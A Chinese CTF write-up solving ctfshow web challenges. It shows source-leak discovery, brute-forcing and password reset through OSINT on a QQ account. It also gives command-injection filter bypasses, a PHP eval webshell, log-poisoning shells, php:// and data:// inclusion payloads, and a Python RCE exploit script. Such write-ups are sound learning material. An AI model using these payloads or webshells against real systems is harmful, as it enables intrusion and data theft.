web1
![image-20210723101944875]()
右键查看源代码就出来了
1
|
ctfshow{e79b78ff-0134-4bd5-8427-5df9b427ba51}
|
web2
这题无法通过右键查看源代码,我们在输入view-source://url
flag就出来了
1
|
ctfshow{b76468eb-fcaa-4d81-b4c9-5dee9916aa14}
|
web3
![image-20210723102205077]()
提示抓个包,我们抓了个包然后发个包,flag就出来了
1
|
ctfshow{05cb5280-6799-45cd-91ce-8f40d15f556b}
|
web4
提示robots文件,我们手动访问
1 2
|
User-agent: * Disallow: /flagishere.txt
|
然后访问flagishere.txt
1
|
ctfshow{b797b9e8-3dab-4c51-9c08-ca397f3b2e5d}
|
web5
提示phps源码泄露,访问index.phps可以下载源文件
1
|
ctfshow{f1ae48fa-78f8-46a5-a5bc-175694a88a5f}
|
web6
提示解压源码到当前目录,盲猜源码压缩文件泄露
访问www.zip,下载源代码
去fl000g.txt找flag
web7
提示版本控制很重要,但不要部署到生产环境更重要,盲猜git泄露
访问 /.git/index.php 即可得到flag
1
|
ctfshow{60e7612b-2501-44a5-ba3b-e2270294823e}
|
web8
提示版本控制很重要,但不要部署到生产环境更重要,盲猜svn泄露
访问url/.svn即可
web9
提示生产环境vim改下,不好,死机了
vim编辑文本时会创建一个临时文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。而本题的情景就是电脑死机了意外退出,导致存在临时文件
访问 url/index.php.swp
1
|
ctfshow{55bf3ee1-3b62-4f35-98fe-65d67d419dfd}
|
web10
提示cookie
F12,点开存储里的cookie直接得到flag
1
|
ctfshow%7B20ee1e86-a0a0-47fa-a064-113eec703c6e%7D
|
web11
域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
hint提示
通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。
![image-20210723104322000]()
web12
提示:有时候网站上的公开信息,就是管理员常用密码
访问admin后台,账号admin 密码从网页底部搜集到的一串数字
1
|
ctfshow{f8ddf247-b088-4b80-9d9d-df5a3be9e8dd}
|
web13
提示:技术文档里面不要出现敏感信息
网页底部有个document超链接,可以找到网页的后台地址和默认账号密码,登陆即可
1
|
ctfshow{cfdd5cff-8651-4acd-90f3-c39c27e32ebd}
|
web14
提示:有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
访问/editor 有个编辑器,上传图片有个图片空间,可以进行目录遍历
![image-20210723110233671]()
访问url/nothinghere/fl000g.txt
1
|
ctfshow{42986bfd-0cba-43c6-9be4-1a319be86d20}
|
web15
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
可以看到有一个邮箱[email protected]
访问admin页面,admin作为账号 ,邮箱作为密码,发现不对
点忘记密码让我们填密保问题所在地 我们查一下这个qq,发现qq的资料显示在西安 之后密码被重置为admin7789,登陆即可
1
|
ctfshow{dd71f776-6d6a-4cde-9106-f8db89f56b8d}
|
web16
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
访问tz.php,然后点击phpinfo超链接,直接搜索flag
1
|
ctfshow{e1c7ed14-29a0-498e-9a21-bd7faf008818}
|
web17
直接win+r 用cmd来ping 网站即可
web18
右键查看源代码,访问js文件看看,
![image-20210723112402256]()
一串unicode编码,当分数大于100,解码看看
![image-20210723112424680]()
提示110.php,访问得到flag
1
|
ctfshow{6255225f-3f0c-4238-8440-36d02397249c}
|
web19
提示:密钥什么的,就不要放在前端了
查看源代码,发现
1 2 3 4 5 6 7 8 9 10
|
<!-- error_reporting(0); $flag="fakeflag" $u = $_POST['username']; $p = $_POST['pazzword']; if(isset($u) && isset($p)){ if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){ echo $flag; } }
|
![image-20210723130716379]()
1
|
ctfshow{1c375b1c-dc47-4617-827a-7752cd718f66}
|
web20
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
访问 db/db.mdb 下载下来搜索flag就好了
![image-20210723131111723]()
1
|
flag{ctfshow_old_database}
|
web21
打开就是个登陆界面,需要爆破,提供字典让我们下载
![image-20210723160627652]()
抓包以后有一串base64,我们解密看看
![image-20210723160653107]()
是账号:密码这样进行base64加密,我们对他进行爆破
![image-20210723160945005]()
![image-20210723161059733]()
![image-20210723161118652]()
点击attack,开始爆破
![image-20210723161118652]()
tomcat 认证爆破之custom iterator使用
web22
web23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
<?php
error_reporting(0);
include('flag.php'); if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo $flag; } } }else{ highlight_file(__FILE__);
} ?>
|
代码审计,需要两个条件
第一:传入的token值经过md5加密后,第1位=第14位并且第14位=第17位
第二:第1位+第14位+第17位÷第1位等于第31位
直接上大佬写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php $dict = "0123456789qwertyuiopasdfghjklzxcvbnm"; for($i = 0;$i< 36;$i++){ for($j = 0;$j<36;$j++){ $token = md5($dict[$i].$dict[$j]); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo ("加密后的md5值为:".$token)."n"; echo ("解密后的值为:".$dict[$i].$dict[$j]); } } } }
|
1
|
ctfshow{8580aea3-f749-46d1-a2e3-7aeb01d18caa}
|
web24
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php error_reporting(0); include("flag.php"); if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(372619038); if(intval($r)===intval(mt_rand())){ echo $flag; } }else{ highlight_file(__FILE__); echo system('cat /proc/version'); }
|
题目代码,这是个伪随机数,我们直接构造一下看看他应该是多少
1 2 3 4 5 6 7 8
|
<?php
mt_srand(372619038);
$result = intval(mt_rand());
echo $result; ?>
|
结果是1155388967 直接传入?r=1155388967
1
|
ctfshow{0a02335c-721c-401b-a41d-88499655af1c}
|
web25
太难了不会做
web26
进来是一个安装系统,输入他指定的用户名和密码提示错误
这里打开Burpsuite爆破一波
![image-20210724105708564]()
1
|
ctfshow{3151a00a-f60a-4ae7-a58e-aabb46a8a613}
|
web27
学生管理系统,有个录取名单和录取查询,但是身份证不完全
![image-20210724110956281]()
我们这里可以写个php脚本,把他身份证可能的情况列出来
hint里已经准备好了,直接运行就可以得到字典了
抓包爆破,最后爆破出来身份证是621022199002015237
![image-20210724112423716]()
![image-20210724111554978]()
1
|
ctfshow{8fca1cf2-e707-4ca8-9852-9884a85cbf89}
|
web28
题目给了hint让我们爆破目录,我们使用Burpsuite试试
![image-20210724141407478]()
1
|
ctfshow{6ace4e13-0d2e-40e6-8a65-a8046fda3021}
|
web29
命令执行的题了
1 2 3 4 5 6 7 8 9 10
|
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
正则匹配了flag,要绕过,执行phpinfo()看看,没有被禁用任何函数
![image-20210724141708438]()
?c=system(‘ls’); 看到当前目录下又flag.php和index.php
不能直接cat flag.php 我们可以cat fla?.php
然后F12查看源代码,这题使用通配符绕过
![image-20210724141908498]()
1
|
ctfshow{d860244b-0743-4b12-8496-e40a869814d5}
|
web30
1 2 3 4 5 6 7 8 9 10
|
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); ) }else{ highlight_file(__FILE__); }
|
在web29的基础上过滤了system和php,我们使用passthru函数来替换,具体和web29一样。
这里还可以使用echo
payload:
1
|
url/?c=echo `cat fla?.ph?`;
|
这里如果用exec把flag.php复制到1.txt直接查看1.txt不知道是否可以
1
|
ctfshow{72347f18-458e-4fb7-b6e6-286279eecbdc}
|
web31
在web30上又多过滤了一些东西
1
|
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c))
|
还是继续用echo吧
1 2
|
在linux中与cat有类似功能的有如下字符 `cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev`
|
Payload:
![image-20210724145503686]()
1
|
ctfshow{c62494bf-4c4f-411a-b744-ba33d06b7ce1}
|
web32-web36
1
|
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c))
|
这里过滤了太多东西了,分号过滤用?>绕过
Payload:
1
|
?c=include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
|
web37
hint提示查看源代码或者包含日志文件拿shell
我这里两种方法都写一下吧
直接查看源代码的话使用php伪协议
Payload1:/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
![image-20210724192337644]()
web38
先包含日志文件,可以观察到他会把我们GET传入的c的值写到日志文件里
这里我们就可以来把一句话作为我们的c写入,然后包含日志文件getshell
1
|
<?php eval($_POST[a]); ?>
|
![image-20210724194408853]()
![image-20210724194648944]()
web39
hint提示:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
1 2 3 4 5 6
|
原语句:include($c.".php");
构造的Payload:?c=data://text/plain,<?php system('cat fla?.php');?>
拼接以后:include(data://text/plain,<?php system('cat fla?.php');?>.".php"); 因为语句已经闭合了,后面.php就相当文字直接输出
|
![image-20210724200022671]()
web40
这里直接先上payload,还没研究好
Payload:
1
|
/?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
|
web41
太难了不会,上大佬的exp吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
import requests import urllib from sys import * import os os.system("php rce_or.php") if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(""+s1+""|""+s2+"")" return(output) while True: param=action(input("n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("n[*] result:n"+r.text)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
|
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."n"; } }
} } fwrite($myfile,$contents); fclose($myfile);
|
python的代码是exp,php的是生成可用字符的脚本
web42
1 2 3 4 5 6 7
|
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
|
system($c.” >/dev/null 2>&1”);
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF。
在程序员行话,尤其是Unix行话中,/dev/null 被称为位桶(bit bucket)或者黑洞(black hole)。空设备通常被用于丢弃不需要的输出流,或作为用于输入流的空文件。这些操作通常由重定向完成。
对于& 1 更准确的说应该是文件描述符 1,而1标识标准输出,stdout。
对于2 ,表示标准错误,stderr。
2>&1 的意思就是将标准错误重定向到标准输出。这里标准输出已经重定向到了 /dev/null。那么标准错误也会输出到/dev/null
可以把/dev/null 可以看作”黑洞”. 它等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到.
偶尔也可以把 & 在命令的最后加上,表示让程序后台执行。
这里构造Payload:
1
|
cat flag.php%0a 或者cat flag.php;
|
web43
在web42的基础上过滤了一些东西
可以使用nl替换cat %0a替换;
构造Payload:
web44
web43的基础上过滤了flag
通配符绕过
Payload:
web45
web44的基础上过滤了空格
用${IFS}代替空格
Payload:
web46-web49
在web45的基础上过滤了$
用%09代替
Payload:
web50-51
在前面的基础上过滤了反引号和百分号,就没法使用%09绕过空格和%0a
这里我们使用重定向符绕过空格
||来绕过后面的>/dev/null 2>&1
Payload:
web52
这题他把<>过滤了,我们还是使用${IFS}绕过空格
||来当做命令分隔符
但是这题flag在根目录下
Payload:
web53
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|x09|x26|>|</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
|
Payload:
web54
1 2 3 4 5 6 7 8 9
|
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|x09|x26|>|</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
两种方法,第一种可以理解为当前目录运行cat命令实际上运行的也是bin/cat,而通配符不会帮你去找到bin下面的cat
第二种直接利用paste查看文件
Payload:
1 2
|
/bin/?at${IFS}f??????? paste${IFS}fla?.php
|
web55(无字母数字RCE)
1 2 3 4 5 6 7 8 9 10
|
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
代码不长,但是思路挺难的,过滤了所有的字母
这里应该是个无字母的RCE
先介绍一下点的意思
. 代表 source命令 它的作用就是把一个文件的内容当成shell来执行
.(点)
的用法,就是相当于source
可以执行sh命令。
思路:我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)
去执行执行这个文件。一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的通配符去匹配)
先构造一个post上传文件的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://1e3d0638-671e-42c7-b061-272e63ea687b.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
|
然后创建一个文件,文件里的内容是shell的命令
1 2
|
#!/bin/sh cat /var/www/html/flag.php
|
?c=.+/???/????????[@-[]
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。
![]()
web56(无字母数字RCE)
基本操作和web55一样
![image-20210726130135557]()
web57(无字母数字RCE)
原理:
${_} =’’
$((${_}))=0
$((~$((${_}))))=-1
下面给出的构造过程,我的思路是 0取反到-1到-2到-4到-8到-16到-18到-36到-37然后取反到36
Payload就是36的时候的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
$(()) 0
$((~$(()))) -1
$(($((~$(())))$((~$(()))))) -2
$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(()))))))) -4
$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(()))))))))) -8
$(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(()))))))))))) -16
$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(()))))))) -18
$(($(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(()))))))))) -36
$(($(($(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))))$((~$(()))))) -37
$((~$(($(($(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))$(($(($(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$(($(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))))$(($((~$(())))$((~$(())))))))))$((~$(()))))))) 36
|
web58-65
原代码如下,本想看phpinfo禁用了哪些函数,好像phpinfo也被禁用了,这里索性一个个试
然后我是用highlight_file()函数,官方给的是show_source()函数
1 2 3 4 5 6 7
|
<?php if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
Payload:
1 2
|
c=highlight_file('flag.php'); c=show_source('flag.php')
|
![image-20210726135259714]()
web66-67
如果继续按照web58-65的方法做,会出现这个
![image-20210726140340977]()
flag估计是藏在其他地方
我们使用print_r()函数配合glob()函数来找找他在哪
当我们post传入c=print_r(glob(‘../../../*’));
![image-20210726140722075]()
再然后c=highlight_file(‘/flag.txt’);
![image-20210726140759488]()
web68-70
这题用include()
直接include(‘/flag.txt’)
web71
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?php error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>
|
ob_get_contents — 返回输出缓冲区的内容
代码大概意思就是 post接收一个参数C,执行eval($c),然后把缓冲区的内容给S,再清楚缓冲区,然后把S里的字母和数字换成?
我们这里可以直接让代码退出
Payload:
1
|
c=include('/flag.txt');exit(0);
|
1 2 3 4 5 6 7 8 9
|
<?php ob_start(); echo "Hello "; $out1 = ob_get_contents(); echo "World"; $out2 = ob_get_contents(); ob_end_clean(); var_dump($out1, $out2); ?>
|
会输出
1 2
|
string(6) "Hello " string(11) "Hello World"
|
web72-74
mmp,看了wp也不会
web78
文件包含的题了
1 2 3 4 5 6 7
|
<?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
直接php伪协议
Payload:
1
|
?file=php://filter/convert.base64-encode/resource=flag.php
|
web79
1 2 3 4 5 6 7 8
|
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
过滤了file参数中的php,把php换成???,所以这里就不能使用php://协议
这里使用data://协议
Payload:
1 2
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
|
web80-81
1 2 3 4 5 6 7 8 9
|
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
data和php协议都不能用,试试包含日志文件getshell
file=/var/log/nginx/access.log
我们刷新一次可以看到和上一次比多了一些东西 比如UA头和get请求的内容,所以我们可以在这些地方植入我们的一句话
![image-20210727092813532]()
这里有点问题,貌似一句话必须加@,不然会报错
![image-20210727101524814]()
![image-20210727101611614]()
web82
1 2 3 4 5 6 7 8 9 10 11
|
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
过滤了点号,也就不能包含日志 文件getshell了,然后就不会了,会了再回来写
web89
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
传入num,num中不能有整数但是取整有值
数组绕过,利用preg_match无法处理数组的漏洞
Payload:
![image-20210728205728029]()
web90
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
num要等于4476并且取整也要等于4476
intval第二个参数为0时,自动匹配进制
所以这里可以拿16进制绕过
Payload:
web91
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
<?php show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
第一次正则匹配要匹配到php并且第二次匹配不到
前后两次的区别在于第一次是/im第二次是/i
![image-20210728210711386]()
按我个人的理解,就是第一次匹配了多行,第二次只匹配了一行
所以只要加个换行符,就可以让他第一次匹配到第二次匹配不到
ctfshow官方的hint是CVE-2017-15715
Payload:
web92
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
好像和web90一样,web90的方法可以做
但是官方的hint是说,intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
在原本的基础上过滤了字母,所以我们这里不能出现字母
和web90一样,只是把16进制改为八进制
Payload:
web94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
过滤了开头是0的数字,这我也没办法
看了hint,才知道他后面加个小数点0就好了
Payload:
web95
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
过滤了点,过滤了0开头的num
我们可以不用0开头
Payload:
web96
1 2 3 4 5 6 7 8 9 10 11
|
<?php highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
|
u不能等于flag.php,但是又得把u里的代码高亮出来
这里可以加上./ linux中./表示当前目录
Payload:
web97
1 2 3 4 5 6 7 8 9 10 11
|
<?php include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
传入的a和b不同,但是md5相同
这里我们可以通过数组绕过
Payload:
web98
1 2 3 4 5 6 7 8
|
<?php include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
这代码刚开始看有点奇怪,后面发现是三元运算符和传址
把代码改一下吧,这样看不懂
1 2 3 4 5 6 7 8 9
|
<?php include("flag.php"); if($_GET){$_GET=&$_POST;} else{"flag";} if($_GET['flag']=='flag'){$_GET=&$_COOKIE;} else{"flag";} if($_GET['flag']=='flag'){$_GET=&$_SERVER;} else{"flag";} if($_GET['HTTP_FLAG']=='flag'){highlight_file(__FILE__);}
|
第一个if是只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址) 后面两个if没啥用,我们不用get传入flag,只需要看最后一个,GET传入HTTP_FLAG为flag就输出flag
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
web99
1 2 3 4 5 6 7 8 9 10 11 12
|
<?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } i f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
} ? >
|
payload:
1
|
get : ?n=1.php post:content=<?php highlight_file('flag.php')
|
web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
<?php highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/;/", $v2)){ if(preg_match("/;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
|
ctfshow类开辟空间,提示我们flag在ctfshow类里面 看了代码有迷惑我们的$v2(‘ctfshow‘)$v3,其中v2肯定是命令,v3传分号 v0是三个值相与,v2和v3不传数字和v1数字相与就为1
payload:
1 2
|
?v1=1&v2=var_dump($ctfshow)/*&v3=*/; ?v1=1&v2=var_dump($ctfshow)&v3=;
|
web102
![image-20210906160313478]()
利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法
![image-20210906161208454]()
1
|
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
|
post:v1=hex2bin
然后访问1.php去触发就可以了
评论